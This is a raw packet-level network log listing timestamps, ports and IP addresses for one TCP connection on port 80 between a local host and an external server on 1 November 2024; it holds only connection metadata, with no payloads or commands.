Nov 1, 2024 12:14:55.971872091 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971883059 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971894026 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971905947 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971918106 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971929073 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971930027 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971930027 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971942902 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971982002 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971988916 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971988916 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971988916 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971995115 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972006083 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972018957 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972028971 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972031116 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972045898 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972052097 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972057104 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972063065 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972068071 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972079992 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972085953 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972105026 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972119093 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972119093 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972122908 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972135067 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972141027 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972146988 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972155094 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972160101 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972160101 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972160101 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972173929 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972183943 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972187042 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972206116 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972218990 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972229958 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972242117 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972249031 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972249031 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972254038 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972256899 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972269058 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972294092 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972294092 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972305059 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972332001 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972345114 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972351074 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972362041 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972373009 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972381115 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972384930 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972398043 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972404957 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972410917 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972424984 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972424984 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972435951 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972446918 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972455025 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972459078 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972470999 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972475052 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972481966 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972495079 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972507000 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972511053 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972511053 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972518921 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972531080 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972532988 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972543955 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972553968 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972565889 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972577095 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972588062 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972599983 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972604990 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972604990 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972604990 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972611904 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972623110 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972637892 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.972642899 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972657919 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972681046 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.972690105 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973330975 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973345995 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973356962 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973371029 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973383904 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973393917 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973400116 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973400116 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973407984 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973417997 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973428965 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973448038 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973448992 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973448992 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973448992 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973472118 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973484993 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973499060 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973512888 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973525047 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973526955 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973526955 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973536015 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973540068 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973541975 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973553896 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973556995 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973566055 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973577976 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973582029 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973592997 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973619938 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973628998 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973638058 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973639965 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973654985 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973661900 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973684072 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973687887 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973695040 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973706961 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973717928 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973730087 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973742962 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973752022 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973752022 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973754883 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973766088 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973777056 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973783970 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973788977 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973798037 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973800898 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973812103 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973822117 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973822117 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973824024 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973836899 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973846912 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973860025 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973871946 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973884106 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973891973 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973891973 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973896027 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973907948 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973917961 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973928928 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973928928 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973931074 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973943949 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973951101 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.973954916 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973968983 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973979950 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.973990917 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974004030 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974014997 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974020958 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974020958 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974026918 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974039078 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974040031 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974052906 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974065065 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974077940 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974090099 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974095106 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974095106 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974102974 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974114895 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974114895 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974164009 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974164009 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974337101 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974349022 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974359035 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974370956 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974381924 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974392891 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974400043 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974402905 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974415064 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974421024 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974426031 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974437952 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974450111 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974461079 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974461079 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974486113 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974493980 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974493980 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974498034 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974503994 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974514008 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974530935 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974538088 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974538088 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974544048 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974549055 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974553108 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974555969 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974560976 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974562883 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974567890 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974580050 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974590063 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974590063 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974592924 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974627018 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974630117 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974630117 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974637985 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974649906 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974662066 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974677086 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974685907 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974704027 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974704027 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974715948 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974724054 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974728107 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974744081 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974745989 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974749088 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974755049 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974760056 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974766016 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974771023 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974775076 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974780083 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974785089 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974790096 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974792957 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974802971 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974802971 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974803925 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974805117 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974817991 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974828959 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974841118 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974852085 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974853992 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974853992 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974865913 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974870920 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974878073 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974889040 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974901915 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974908113 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974920034 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974927902 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974931002 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974942923 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974945068 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974955082 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974967003 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.974972963 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.974997997 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975028038 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975126028 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975137949 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975182056 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975213051 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975269079 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975281954 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975294113 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975306034 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975326061 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975337982 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975341082 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975341082 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975348949 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975363016 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975363016 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975374937 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975390911 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975402117 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975402117 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975425005 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975431919 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975445032 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975455999 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975462914 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975469112 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975480080 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975495100 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975507021 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975521088 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975522995 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975522995 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975529909 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975542068 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975553036 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975558043 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975558043 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975584984 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975589991 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975601912 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975609064 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975611925 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975639105 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975641012 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975641012 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975646973 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975653887 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975658894 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975660086 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975661993 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975667000 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975668907 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975676060 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975687027 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975692987 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975698948 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975706100 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975718021 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975729942 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975739002 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975742102 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975752115 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975769043 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975769043 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975769043 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975775957 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.975892067 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.975892067 CET	49991	80	192.168.2.7	185.215.113.16
